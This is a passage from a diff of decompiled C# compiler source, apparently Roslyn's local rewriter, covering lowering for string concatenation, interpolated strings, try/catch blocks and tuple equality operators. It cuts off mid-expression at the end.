BoundExpression? TryFoldTwoConcatOperands(BoundExpression loweredLeft, BoundExpression loweredRight) + { + ConstantValue constantValueOpt = loweredLeft.ConstantValueOpt; + ConstantValue constantValueOpt2 = loweredRight.ConstantValueOpt; + if (constantValueOpt != (ConstantValue)null && constantValueOpt2 != (ConstantValue)null) + { + ConstantValue val = TryFoldTwoConcatConsts(constantValueOpt, constantValueOpt2); + if (val != (ConstantValue)null) + { + return _factory.StringLiteral(val); + } + } + if (IsNullOrEmptyStringConstant(loweredLeft)) + { + if (IsNullOrEmptyStringConstant(loweredRight)) + { + return _factory.Literal(string.Empty); + } + return RewriteStringConcatenationOneExpr(loweredRight); + } + if (IsNullOrEmptyStringConstant(loweredRight)) + { + return RewriteStringConcatenationOneExpr(loweredLeft); + } + return null; + } + + private static bool IsNullOrEmptyStringConstant(BoundExpression operand) + { + if (!(operand.ConstantValueOpt != (ConstantValue)null) || !string.IsNullOrEmpty(operand.ConstantValueOpt.StringValue)) + { + return operand.IsDefaultValue(); + } + return true; + } + + private static ConstantValue? TryFoldTwoConcatConsts(ConstantValue leftConst, ConstantValue rightConst) + { + string stringValue = leftConst.StringValue; + string stringValue2 = rightConst.StringValue; + if (!leftConst.IsDefaultValue && !rightConst.IsDefaultValue && stringValue.Length + stringValue2.Length < 0) + { + return null; + } + return ConstantValue.Create(stringValue + stringValue2); + } + + private BoundExpression RewriteStringConcatenationOneExpr(BoundExpression loweredOperand) + { + if (TryExtractStringConcatArgs(loweredOperand, out ImmutableArray _)) + { + return loweredOperand; + } + return _factory.Coalesce(loweredOperand, _factory.Literal("")); + } + + private BoundExpression RewriteStringConcatenationTwoExprs(SyntaxNode syntax, BoundExpression loweredLeft, BoundExpression loweredRight) + { + MethodSymbol method = UnsafeGetSpecialTypeMethod(syntax, (SpecialMember)1); + return BoundCall.Synthesized(syntax, null, (ThreeState)0, method, loweredLeft, loweredRight); + } + + private BoundExpression RewriteStringConcatenationThreeExprs(SyntaxNode syntax, BoundExpression loweredFirst, BoundExpression loweredSecond, BoundExpression loweredThird) + { + MethodSymbol method = UnsafeGetSpecialTypeMethod(syntax, (SpecialMember)2); + return BoundCall.Synthesized(syntax, null, (ThreeState)0, method, ImmutableArray.Create(loweredFirst, loweredSecond, loweredThird)); + } + + private BoundExpression RewriteStringConcatenationFourExprs(SyntaxNode syntax, BoundExpression loweredFirst, BoundExpression loweredSecond, BoundExpression loweredThird, BoundExpression loweredFourth) + { + MethodSymbol method = UnsafeGetSpecialTypeMethod(syntax, (SpecialMember)3); + return BoundCall.Synthesized(syntax, null, (ThreeState)0, method, ImmutableArray.Create(loweredFirst, loweredSecond, loweredThird, loweredFourth)); + } + + private BoundExpression RewriteStringConcatenationManyExprs(SyntaxNode syntax, ImmutableArray loweredArgs) + { + MethodSymbol method = UnsafeGetSpecialTypeMethod(syntax, (SpecialMember)4); + BoundExpression arg = _factory.ArrayOrEmpty(_factory.SpecialType((SpecialType)20), loweredArgs); + return BoundCall.Synthesized(syntax, null, (ThreeState)0, method, arg); + } + + private BoundExpression RewriteStringConcatInExpressionLambda(SyntaxNode syntax, BinaryOperatorKind operatorKind, BoundExpression loweredLeft, BoundExpression loweredRight, TypeSymbol type) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + SpecialMember specialMember = (SpecialMember)((operatorKind == BinaryOperatorKind.StringConcatenation) ? 1 : 6); + MethodSymbol methodOpt = UnsafeGetSpecialTypeMethod(syntax, specialMember); + return new BoundBinaryOperator(syntax, operatorKind, null, methodOpt, null, LookupResultKind.Empty, loweredLeft, loweredRight, type); + } + + private BoundExpression ConvertConcatExprToString(SyntaxNode syntax, BoundExpression expr) + { + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Invalid comparison between Unknown and I4 + //IL_0161: Unknown result type (might be due to invalid IL or missing references) + if (expr.Kind == BoundKind.Conversion) + { + BoundConversion boundConversion = (BoundConversion)expr; + if (boundConversion.ConversionKind == ConversionKind.Boxing) + { + expr = boundConversion.Operand; + } + } + if (expr != null) + { + ConstantValue constantValueOpt = expr.ConstantValueOpt; + if (constantValueOpt != null) + { + if ((int)constantValueOpt.SpecialType == 8) + { + return _factory.StringLiteral(constantValueOpt.CharValue.ToString()); + } + if (constantValueOpt.IsNull) + { + return expr; + } + } + } + if (expr.Type.IsStringType()) + { + return expr; + } + MethodSymbol objectToStringMethod = UnsafeGetSpecialTypeMethod(syntax, (SpecialMember)100); + MethodSymbol methodSymbol = null; + if (expr.Type.IsValueType && !expr.Type.IsTypeParameter()) + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)expr.Type; + ImmutableArray.Enumerator enumerator = namedTypeSymbol.GetMembers(objectToStringMethod.Name).GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is MethodSymbol methodSymbol2 && (object)methodSymbol2.GetLeastOverriddenMethod(namedTypeSymbol) == objectToStringMethod) + { + methodSymbol = methodSymbol2; + break; + } + } + } + if (methodSymbol != null && (int)expr.Type.SpecialType != 0 && !isFieldOfMarshalByRef(expr, _compilation)) + { + return BoundCall.Synthesized(expr.Syntax, expr, (ThreeState)0, methodSymbol); + } + bool flag = expr.Type.IsReferenceType || expr.ConstantValueOpt != (ConstantValue)null || (methodSymbol == null && !expr.Type.IsTypeParameter()) || (methodSymbol?.IsEffectivelyReadOnly ?? false); + if (expr.Type.IsValueType) + { + if (!flag) + { + expr = new BoundPassByCopy(expr.Syntax, expr, expr.Type); + } + return BoundCall.Synthesized(expr.Syntax, expr, (ThreeState)0, objectToStringMethod); + } + if (flag) + { + return makeConditionalAccess(expr); + } + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(expr, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + return _factory.Sequence(ImmutableArray.Create(boundLocal.LocalSymbol), ImmutableArray.Create((BoundExpression)store), makeConditionalAccess(boundLocal)); + static bool isFieldOfMarshalByRef(BoundExpression boundExpression, CSharpCompilation compilation) + { + if (boundExpression is BoundFieldAccess fieldAccess) + { + return DiagnosticsPass.IsNonAgileFieldAccess(fieldAccess, compilation); + } + return false; + } + BoundExpression makeConditionalAccess(BoundExpression receiver) + { + int id = ++_currentConditionalAccessID; + return new BoundLoweredConditionalAccess(syntax, receiver, null, BoundCall.Synthesized(syntax, new BoundConditionalReceiver(syntax, id, expr.Type), (ThreeState)0, objectToStringMethod), null, id, forceCopyOfNullableValueType: false, _compilation.GetSpecialType((SpecialType)20)); + } + } + + private BoundExpression RewriteInterpolatedStringConversion(BoundConversion conversion) + { + MakeInterpolatedStringFormat((BoundInterpolatedString)conversion.Operand, out BoundExpression format, out ArrayBuilder expressions); + expressions.Insert(0, format); + NamedTypeSymbol receiver = _factory.WellKnownType((WellKnownType)70); + BoundExpression boundExpression = _factory.StaticCall(receiver, "Create", expressions.ToImmutableAndFree(), allowUnexpandedForm: false); + if (!boundExpression.HasAnyErrors) + { + boundExpression = VisitExpression(boundExpression); + boundExpression = MakeImplicitConversionForInterpolatedString(boundExpression, conversion.Type); + } + return boundExpression; + } + + private BoundExpression MakeImplicitConversionForInterpolatedString(BoundExpression rewrittenOperand, TypeSymbol rewrittenType) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(); + Conversion conversion = _compilation.Conversions.ClassifyConversionFromType(rewrittenOperand.Type, rewrittenType, isChecked: false, ref useSiteInfo); + ((BindingDiagnosticBag)(object)_diagnostics).Add(rewrittenOperand.Syntax, useSiteInfo); + if (!conversion.IsImplicit) + { + _diagnostics.Add(ErrorCode.ERR_NoImplicitConv, rewrittenOperand.Syntax.Location, rewrittenOperand.Type, rewrittenType); + return _factory.NullOrDefault(rewrittenType); + } + return MakeConversionNode(rewrittenOperand.Syntax, rewrittenOperand, conversion, rewrittenType, @checked: false); + } + + private InterpolationHandlerResult RewriteToInterpolatedStringHandlerPattern(InterpolatedStringHandlerData data, ImmutableArray parts, SyntaxNode syntax) + { + //IL_0180: Unknown result type (might be due to invalid IL or missing references) + //IL_0185: Unknown result type (might be due to invalid IL or missing references) + LocalSymbol local = _factory.InterpolatedStringHandlerLocal(data.BuilderType, syntax); + BoundLocal boundLocal = _factory.Local(local); + BoundObjectCreationExpression node = (BoundObjectCreationExpression)data.Construction; + BoundLocal boundLocal2 = null; + if (data.HasTrailingHandlerValidityParameter) + { + ImmutableArray argumentPlaceholders = data.ArgumentPlaceholders; + BoundInterpolatedStringArgumentPlaceholder boundInterpolatedStringArgumentPlaceholder = argumentPlaceholders[argumentPlaceholders.Length - 1]; + TypeSymbol type = boundInterpolatedStringArgumentPlaceholder.Type; + LocalSymbol local2 = _factory.SynthesizedLocal(type, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + boundLocal2 = _factory.Local(local2); + AddPlaceholderReplacement(boundInterpolatedStringArgumentPlaceholder, boundLocal2); + } + BoundExpression boundExpression = _factory.AssignmentExpression(boundLocal, (BoundExpression)VisitObjectCreationExpression(node)); + AddPlaceholderReplacement(data.ReceiverPlaceholder, boundLocal); + bool usesBoolReturns = data.UsesBoolReturns; + ArrayBuilder instance = ArrayBuilder.GetInstance(parts.Length + 1); + ImmutableArray.Enumerator enumerator = parts.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + if (current is BoundCall node2) + { + instance.Add((BoundExpression)VisitCall(node2)); + continue; + } + if (current is BoundDynamicInvocation node3) + { + instance.Add(VisitDynamicInvocation(node3, !usesBoolReturns)); + continue; + } + throw ExceptionUtilities.UnexpectedValue((object)current.Kind); + } + RemovePlaceholderReplacement(data.ReceiverPlaceholder); + if (boundLocal2 != null) + { + ImmutableArray argumentPlaceholders = data.ArgumentPlaceholders; + RemovePlaceholderReplacement(argumentPlaceholders[argumentPlaceholders.Length - 1]); + } + if (usesBoolReturns) + { + BoundExpression boundExpression2 = boundLocal2; + NamedTypeSymbol specialType = _compilation.GetSpecialType((SpecialType)7); + Enumerator enumerator2 = instance.GetEnumerator(); + while (enumerator2.MoveNext()) + { + BoundExpression boundExpression3 = enumerator2.Current; + if (boundExpression3.Type.IsDynamic()) + { + boundExpression3 = _dynamicFactory.MakeDynamicConversion(boundExpression3, isExplicit: false, isArrayIndex: false, isChecked: false, specialType).ToExpression(); + } + boundExpression2 = ((boundExpression2 == null) ? boundExpression3 : _factory.LogicalAnd(boundExpression2, boundExpression3)); + } + instance.Clear(); + instance.Add(boundExpression); + instance.Add(boundExpression2); + } + else + { + if (boundLocal2 != null && instance.Count > 0) + { + ImmutableArray statements = ArrayBuilderExtensions.SelectAsArray(instance, (Func)((BoundExpression appendCall, LocalRewriter @this) => @this._factory.ExpressionStatement(appendCall)), this); + instance.Free(); + BoundStatement item = _factory.If(boundLocal2, _factory.StatementList(statements)); + return new InterpolationHandlerResult(ImmutableArray.Create(_factory.ExpressionStatement(boundExpression), item), boundLocal, boundLocal2.LocalSymbol, this); + } + instance.Insert(0, boundExpression); + } + return new InterpolationHandlerResult(instance.ToImmutableAndFree(), boundLocal, boundLocal2?.LocalSymbol, this); + } + + private bool CanLowerToStringConcatenation(BoundInterpolatedString node) + { + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = node.Parts.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!(enumerator.Current is BoundStringInsert boundStringInsert)) + { + continue; + } + if (!_inExpressionLambda && !boundStringInsert.HasErrors) + { + TypeSymbol? type = boundStringInsert.Value.Type; + if ((object)type != null && (int)type.SpecialType == 20 && boundStringInsert.Alignment == null && boundStringInsert.Format == null) + { + continue; + } + } + return false; + } + return true; + } + + private void MakeInterpolatedStringFormat(BoundInterpolatedString node, out BoundExpression format, out ArrayBuilder expressions) + { + //IL_0106: Unknown result type (might be due to invalid IL or missing references) + //IL_010c: Invalid comparison between Unknown and I4 + _factory.Syntax = node.Syntax; + int num = node.Parts.Length - 1; + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + expressions = ArrayBuilder.GetInstance(num + 1); + int num2 = 0; + for (int i = 0; i <= num; i++) + { + BoundExpression boundExpression = node.Parts[i]; + if (boundExpression is BoundStringInsert boundStringInsert) + { + builder.Append('{').Append(num2++); + if (boundStringInsert.Alignment != null && !boundStringInsert.Alignment.HasErrors) + { + builder.Append(',').Append(boundStringInsert.Alignment.ConstantValueOpt.Int64Value); + } + if (boundStringInsert.Format != null && !boundStringInsert.Format.HasErrors) + { + builder.Append(':').Append(boundStringInsert.Format.ConstantValueOpt.StringValue); + } + builder.Append('}'); + BoundExpression boundExpression2 = boundStringInsert.Value; + TypeSymbol? type = boundExpression2.Type; + if ((object)type != null && (int)type.TypeKind == 4) + { + boundExpression2 = MakeConversionNode(boundExpression2, _compilation.ObjectType, @checked: false); + } + expressions.Add(boundExpression2); + } + else + { + builder.Append(escapeInterpolatedStringLiteral(boundExpression.ConstantValueOpt.StringValue)); + } + } + format = _factory.StringLiteral(instance.ToStringAndFree()); + static string escapeInterpolatedStringLiteral(string value) + { + PooledStringBuilder instance2 = PooledStringBuilder.GetInstance(); + StringBuilder builder2 = instance2.Builder; + foreach (char c in value) + { + builder2.Append(c); + if ((c == '{' || c == '}') ? true : false) + { + builder2.Append(c); + } + } + string result = ((instance2.Length == value.Length) ? value : instance2.Builder.ToString()); + instance2.Free(); + return result; + } + } + + public override BoundNode VisitInterpolatedString(BoundInterpolatedString node) + { + InterpolatedStringHandlerData? interpolationData = node.InterpolationData; + if (interpolationData.HasValue) + { + InterpolatedStringHandlerData valueOrDefault = interpolationData.GetValueOrDefault(); + return LowerPartsToString(valueOrDefault, node.Parts, node.Syntax, node.Type); + } + bool flag; + bool flag2; + BoundExpression boundExpression; + if (CanLowerToStringConcatenation(node)) + { + int length = node.Parts.Length; + if (length == 0) + { + return _factory.StringLiteral(""); + } + boundExpression = null; + for (int i = 0; i < length; i++) + { + BoundExpression boundExpression2 = node.Parts[i]; + boundExpression2 = ((!(boundExpression2 is BoundStringInsert boundStringInsert)) ? _factory.StringLiteral(boundExpression2.ConstantValueOpt.StringValue) : boundStringInsert.Value); + boundExpression = ((boundExpression == null) ? boundExpression2 : _factory.Binary(BinaryOperatorKind.StringConcatenation, node.Type, boundExpression, boundExpression2)); + } + flag = length == 1; + if (flag) + { + if (boundExpression == null) + { + goto IL_010d; + } + if (boundExpression.Kind != BoundKind.InterpolatedString) + { + ConstantValue constantValueOpt = boundExpression.ConstantValueOpt; + if (constantValueOpt == null || !constantValueOpt.IsString) + { + goto IL_010d; + } + } + flag2 = true; + goto IL_0110; + } + goto IL_0117; + } + MakeInterpolatedStringFormat(node, out BoundExpression format, out ArrayBuilder expressions); + expressions.Insert(0, format); + TypeSymbol type = node.Type; + boundExpression = _factory.StaticCall(type, "Format", expressions.ToImmutableAndFree(), allowUnexpandedForm: false); + goto IL_0199; + IL_0199: + if (!boundExpression.HasAnyErrors) + { + boundExpression = VisitExpression(boundExpression); + boundExpression = MakeImplicitConversionForInterpolatedString(boundExpression, node.Type); + } + return boundExpression; + IL_0110: + flag = !flag2; + goto IL_0117; + IL_0117: + if (flag) + { + BoundValuePlaceholder boundValuePlaceholder = new BoundValuePlaceholder(boundExpression.Syntax, boundExpression.Type); + boundExpression = new BoundNullCoalescingOperator(boundExpression.Syntax, boundExpression, _factory.StringLiteral(""), boundValuePlaceholder, boundValuePlaceholder, BoundNullCoalescingOperatorResultKind.LeftType, @checked: false, boundExpression.Type) + { + WasCompilerGenerated = true + }; + } + goto IL_0199; + IL_010d: + flag2 = false; + goto IL_0110; + } + + private BoundExpression LowerPartsToString(InterpolatedStringHandlerData data, ImmutableArray parts, SyntaxNode syntax, TypeSymbol type) + { + InterpolationHandlerResult interpolationHandlerResult = RewriteToInterpolatedStringHandlerPattern(data, parts, syntax); + MethodSymbol methodSymbol = (MethodSymbol)Binder.GetWellKnownTypeMember(_compilation, (WellKnownMember)468, _diagnostics, null, syntax); + BoundExpression result = (((object)methodSymbol != null) ? ((BoundExpression)BoundCall.Synthesized(syntax, interpolationHandlerResult.HandlerTemp, (ThreeState)0, methodSymbol)) : ((BoundExpression)new BoundBadExpression(syntax, LookupResultKind.Empty, ImmutableArray.Empty, ImmutableArray.Empty, type))); + return interpolationHandlerResult.WithFinalResult(result); + } + + [Conditional("DEBUG")] + private static void AssertNoImplicitInterpolatedStringHandlerConversions(ImmutableArray arguments, bool allowConversionsWithNoContext = false) + { + if (!allowConversionsWithNoContext) + { + return; + } + ImmutableArray.Enumerator enumerator = arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is BoundConversion { Conversion: { Kind: ConversionKind.InterpolatedStringHandler }, ExplicitCastInCode: false } boundConversion) + { + BoundExpression operand = boundConversion.Operand; + operand.GetInterpolatedStringHandlerData(); + } + } + } + + public override BoundNode VisitConvertedSwitchExpression(BoundConvertedSwitchExpression node) + { + _needsSpilling = true; + return SwitchExpressionLocalRewriter.Rewrite(this, node); + } + + public override BoundNode VisitThrowStatement(BoundThrowStatement node) + { + BoundStatement boundStatement = (BoundStatement)base.VisitThrowStatement(node); + if (Instrument && !node.WasCompilerGenerated) + { + boundStatement = Instrumenter.InstrumentThrowStatement(node, boundStatement); + } + return boundStatement; + } + + public override BoundNode VisitTryStatement(BoundTryStatement node) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Invalid comparison between Unknown and I4 + BoundBlock boundBlock = (BoundBlock)Visit(node.TryBlock); + bool sawAwait = _sawAwait; + _sawAwait = false; + bool num = (int)((CompilationOptions)_compilation.Options).OptimizationLevel == 1; + ImmutableArray catchBlocks = ((num && !HasSideEffects(boundBlock)) ? ImmutableArray.Empty : VisitList(node.CatchBlocks)); + BoundBlock boundBlock2 = (BoundBlock)Visit(node.FinallyBlockOpt); + _sawAwaitInExceptionHandler |= _sawAwait; + _sawAwait |= sawAwait; + if (num && !HasSideEffects(boundBlock2)) + { + boundBlock2 = null; + } + if (!catchBlocks.IsDefaultOrEmpty || boundBlock2 != null) + { + return node.Update(boundBlock, catchBlocks, boundBlock2, node.FinallyLabelOpt, node.PreferFaultHandler); + } + return boundBlock; + } + + private static bool HasSideEffects([NotNullWhen(true)] BoundStatement? statement) + { + if (statement == null) + { + return false; + } + switch (statement.Kind) + { + case BoundKind.NoOpStatement: + return false; + case BoundKind.Block: + { + ImmutableArray.Enumerator enumerator = ((BoundBlock)statement).Statements.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (HasSideEffects(enumerator.Current)) + { + return true; + } + } + return false; + } + case BoundKind.SequencePoint: + return HasSideEffects(((BoundSequencePoint)statement).StatementOpt); + case BoundKind.SequencePointWithSpan: + return HasSideEffects(((BoundSequencePointWithSpan)statement).StatementOpt); + default: + return true; + } + } + + public override BoundNode? VisitCatchBlock(BoundCatchBlock node) + { + BoundExpression? exceptionFilterOpt = node.ExceptionFilterOpt; + if (exceptionFilterOpt != null) + { + ConstantValue? constantValueOpt = exceptionFilterOpt.ConstantValueOpt; + if (((constantValueOpt != null) ? new bool?(constantValueOpt.BooleanValue) : ((bool?)null)) == false) + { + return null; + } + } + BoundExpression rewrittenSource = (BoundExpression)Visit(node.ExceptionSourceOpt); + BoundStatementList rewrittenFilterPrologue = (BoundStatementList)Visit(node.ExceptionFilterPrologueOpt); + BoundExpression rewrittenFilter = (BoundExpression)Visit(node.ExceptionFilterOpt); + BoundBlock rewrittenBody = (BoundBlock)Visit(node.Body); + TypeSymbol rewrittenType = VisitType(node.ExceptionTypeOpt); + if (Instrument) + { + Instrumenter.InstrumentCatchBlock(node, ref rewrittenSource, ref rewrittenFilterPrologue, ref rewrittenFilter, ref rewrittenBody, ref rewrittenType, _factory); + } + return node.Update(node.Locals, rewrittenSource, rewrittenType, rewrittenFilterPrologue, rewrittenFilter, rewrittenBody, node.IsSynthesizedAsyncCatchAll); + } + + public override BoundNode VisitTupleBinaryOperator(BoundTupleBinaryOperator node) + { + TypeSymbol type = node.Type; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + BoundExpression left = ReplaceTerminalElementsWithTemps(node.Left, node.Operators, instance, instance2); + BoundExpression right = ReplaceTerminalElementsWithTemps(node.Right, node.Operators, instance, instance2); + BoundExpression result = RewriteTupleNestedOperators(node.Operators, left, right, type, instance2, node.OperatorKind); + return _factory.Sequence(instance2.ToImmutableAndFree(), instance.ToImmutableAndFree(), result); + } + + private bool IsLikeTupleExpression(BoundExpression expr, [NotNullWhen(true)] out BoundTupleExpression? tuple) + { + if (!(expr is BoundTupleExpression boundTupleExpression)) + { + if (expr is BoundConversion { Conversion: { Kind: var kind } conversion } boundConversion) + { + BoundExpression operand; + switch (kind) + { + case ConversionKind.Identity: + operand = boundConversion.Operand; + return IsLikeTupleExpression(operand, out tuple); + case ConversionKind.ImplicitTupleLiteral: + { + operand = boundConversion.Operand; + BoundExpression expr2 = operand; + return IsLikeTupleExpression(expr2, out tuple); + } + } + operand = boundConversion.Operand; + BoundExpression expr3 = operand; + if (conversion.IsTupleConversion || conversion.IsTupleLiteralConversion) + { + if (!IsLikeTupleExpression(expr3, out tuple)) + { + return false; + } + ImmutableArray underlyingConversions = conversion.UnderlyingConversions; + ImmutableArray tupleElementTypesWithAnnotations = boundConversion.Type.TupleElementTypesWithAnnotations; + ArrayBuilder instance = ArrayBuilder.GetInstance(tuple.Arguments.Length); + for (int i = 0; i < tuple.Arguments.Length; i++) + { + BoundExpression operand2 = tuple.Arguments[i]; + Conversion conversion2 = underlyingConversions[i]; + TypeSymbol type = tupleElementTypesWithAnnotations[i].Type; + BoundConversion boundConversion2 = new BoundConversion(expr.Syntax, operand2, conversion2, boundConversion.Checked, boundConversion.ExplicitCastInCode, null, null, type, boundConversion.HasErrors); + instance.Add((BoundExpression)boundConversion2); + } + ImmutableArray arguments = instance.ToImmutableAndFree(); + tuple = new BoundConvertedTupleLiteral(tuple.Syntax, null, wasTargetTyped: true, arguments, ImmutableArray.Empty, ImmutableArray.Empty, boundConversion.Type, boundConversion.HasErrors); + return true; + } + ConversionKind conversionKind = kind; + BoundExpression boundExpression = operand; + if (conversionKind == ConversionKind.ImplicitNullable || conversionKind == ConversionKind.ExplicitNullable) + { + TypeSymbol type2 = expr.Type; + if ((object)type2 != null && type2.IsNullableType() && type2.StrippedType().Equals(boundExpression.Type, (TypeCompareKind)63)) + { + return IsLikeTupleExpression(boundExpression, out tuple); + } + } + } + tuple = null; + return false; + } + tuple = boundTupleExpression; + return true; + } + + private BoundExpression PushDownImplicitTupleConversion(BoundExpression expr, ArrayBuilder initEffects, ArrayBuilder temps) + { + if (expr is BoundConversion { ConversionKind: ConversionKind.ImplicitTuple, Conversion: var conversion } boundConversion) + { + SyntaxNode syntax = boundConversion.Syntax; + ImmutableArray tupleElementTypesWithAnnotations = expr.Type.TupleElementTypesWithAnnotations; + int length = tupleElementTypesWithAnnotations.Length; + ImmutableArray tupleElements = boundConversion.Operand.Type.TupleElements; + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + BoundExpression tuple = DeferSideEffectingArgumentToTempForTupleEquality(LowerConversions(boundConversion.Operand), initEffects, temps); + ImmutableArray underlyingConversions = conversion.UnderlyingConversions; + for (int i = 0; i < length; i++) + { + BoundExpression operand = MakeTupleFieldAccessAndReportUseSiteDiagnostics(tuple, syntax, tupleElements[i]); + BoundConversion boundConversion2 = new BoundConversion(syntax, operand, underlyingConversions[i], boundConversion.Checked, boundConversion.ExplicitCastInCode, null, null, tupleElementTypesWithAnnotations[i].Type, boundConversion.HasErrors); + instance.Add((BoundExpression)boundConversion2); + } + return new BoundConvertedTupleLiteral(syntax, null, wasTargetTyped: true, instance.ToImmutableAndFree(), ImmutableArray.Empty, ImmutableArray.Empty, expr.Type, expr.HasErrors); + } + return expr; + } + + private BoundExpression ReplaceTerminalElementsWithTemps(BoundExpression expr, TupleBinaryOperatorInfo operators, ArrayBuilder initEffects, ArrayBuilder temps) + { + if (operators.InfoKind == TupleBinaryOperatorInfoKind.Multiple) + { + expr = PushDownImplicitTupleConversion(expr, initEffects, temps); + if (IsLikeTupleExpression(expr, out BoundTupleExpression tuple)) + { + TupleBinaryOperatorInfo.Multiple multiple = (TupleBinaryOperatorInfo.Multiple)operators; + ArrayBuilder instance = ArrayBuilder.GetInstance(tuple.Arguments.Length); + for (int i = 0; i < tuple.Arguments.Length; i++) + { + BoundExpression expr2 = tuple.Arguments[i]; + BoundExpression boundExpression = ReplaceTerminalElementsWithTemps(expr2, multiple.Operators[i], initEffects, temps); + instance.Add(boundExpression); + } + ImmutableArray arguments = instance.ToImmutableAndFree(); + return new BoundConvertedTupleLiteral(tuple.Syntax, null, wasTargetTyped: false, arguments, ImmutableArray.Empty, ImmutableArray.Empty, tuple.Type, tuple.HasErrors); + } + } + return DeferSideEffectingArgumentToTempForTupleEquality(expr, initEffects, temps); + } + + private BoundExpression DeferSideEffectingArgumentToTempForTupleEquality(BoundExpression expr, ArrayBuilder effects, ArrayBuilder temps, bool enclosingConversionWasExplicit = false) + { + if (expr != null) + { + if (expr.ConstantValueOpt != null) + { + return VisitExpression(expr); + } + if (expr is BoundConversion { Conversion: { Kind: var kind } conversion } boundConversion) + { + if (kind == ConversionKind.DefaultLiteral || conversion.IsTupleConversion) + { + return EvaluateSideEffectingArgumentToTemp(expr, effects, temps); + } + if (!conversionMustBePerformedOnOriginalExpression(kind)) + { + if (conversion.IsUserDefined && (boundConversion.ExplicitCastInCode || enclosingConversionWasExplicit)) + { + return EvaluateSideEffectingArgumentToTemp(expr, effects, temps); + } + BoundConversion boundConversion2 = boundConversion; + BoundExpression operand = DeferSideEffectingArgumentToTempForTupleEquality(boundConversion2.Operand, effects, temps, boundConversion2.ExplicitCastInCode || enclosingConversionWasExplicit); + return boundConversion2.UpdateOperand(operand); + } + return EvaluateSideEffectingArgumentToTemp(expr, effects, temps); + } + if (expr is BoundObjectCreationExpression boundObjectCreationExpression) + { + switch (boundObjectCreationExpression.Arguments.Length) + { + case 0: + { + TypeSymbol type = boundObjectCreationExpression.Type; + if ((object)type == null || !type.IsNullableType()) + { + break; + } + return new BoundLiteral(expr.Syntax, ConstantValue.Null, expr.Type); + } + case 1: + { + TypeSymbol type = boundObjectCreationExpression.Type; + if ((object)type != null) + { + TypeSymbol type2 = type; + BoundObjectCreationExpression boundObjectCreationExpression2 = boundObjectCreationExpression; + if (type2.IsNullableType()) + { + BoundExpression operand2 = DeferSideEffectingArgumentToTempForTupleEquality(boundObjectCreationExpression2.Arguments[0], effects, temps, enclosingConversionWasExplicit: true); + Conversion conversion2 = Conversion.MakeNullableConversion(ConversionKind.ImplicitNullable, Conversion.Identity); + return new BoundConversion(expr.Syntax, operand2, conversion2, @checked: false, explicitCastInCode: true, null, null, type2, expr.HasErrors); + } + } + break; + } + } + } + } + return EvaluateSideEffectingArgumentToTemp(expr, effects, temps); + static bool conversionMustBePerformedOnOriginalExpression(ConversionKind conversionKind) + { + switch (conversionKind) + { + case ConversionKind.AnonymousFunction: + case ConversionKind.MethodGroup: + case ConversionKind.InterpolatedString: + case ConversionKind.SwitchExpression: + case ConversionKind.ConditionalExpression: + case ConversionKind.StackAllocToPointerType: + case ConversionKind.StackAllocToSpanType: + case ConversionKind.ObjectCreation: + return true; + default: + return false; + } + } + } + + private BoundExpression RewriteTupleOperator(TupleBinaryOperatorInfo @operator, BoundExpression left, BoundExpression right, TypeSymbol boolType, ArrayBuilder temps, BinaryOperatorKind operatorKind) + { + switch (@operator.InfoKind) + { + case TupleBinaryOperatorInfoKind.Multiple: + return RewriteTupleNestedOperators((TupleBinaryOperatorInfo.Multiple)@operator, left, right, boolType, temps, operatorKind); + case TupleBinaryOperatorInfoKind.Single: + return RewriteTupleSingleOperator((TupleBinaryOperatorInfo.Single)@operator, left, right, boolType, operatorKind); + case TupleBinaryOperatorInfoKind.NullNull: + { + TupleBinaryOperatorInfo.NullNull nullNull = (TupleBinaryOperatorInfo.NullNull)@operator; + return new BoundLiteral(left.Syntax, ConstantValue.Create(nullNull.Kind == BinaryOperatorKind.Equal), boolType); + } + default: + throw ExceptionUtilities.UnexpectedValue((object)@operator.InfoKind); + } + } + + private BoundExpression RewriteTupleNestedOperators(TupleBinaryOperatorInfo.Multiple operators, BoundExpression left, BoundExpression right, TypeSymbol boolType, ArrayBuilder temps, BinaryOperatorKind operatorKind) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + MakeNullableParts(left, temps, instance2, instance, saveHasValue: true, out BoundExpression hasValue, out BoundExpression value, out bool isNullable); + MakeNullableParts(right, temps, instance2, instance, saveHasValue: false, out BoundExpression hasValue2, out BoundExpression value2, out bool isNullable2); + BoundExpression result = RewriteNonNullableNestedTupleOperators(operators, value, value2, boolType, temps, operatorKind); + BoundExpression boundExpression = _factory.Sequence(ImmutableArray.Empty, instance2.ToImmutableAndFree(), result); + if (!isNullable && !isNullable2) + { + return boundExpression; + } + bool flag = operatorKind == BinaryOperatorKind.Equal; + if (hasValue2.ConstantValueOpt == ConstantValue.False) + { + return _factory.Sequence(ImmutableArray.Empty, instance.ToImmutableAndFree(), flag ? _factory.Not(hasValue) : hasValue); + } + if (hasValue.ConstantValueOpt == ConstantValue.False) + { + return _factory.Sequence(ImmutableArray.Empty, instance.ToImmutableAndFree(), flag ? 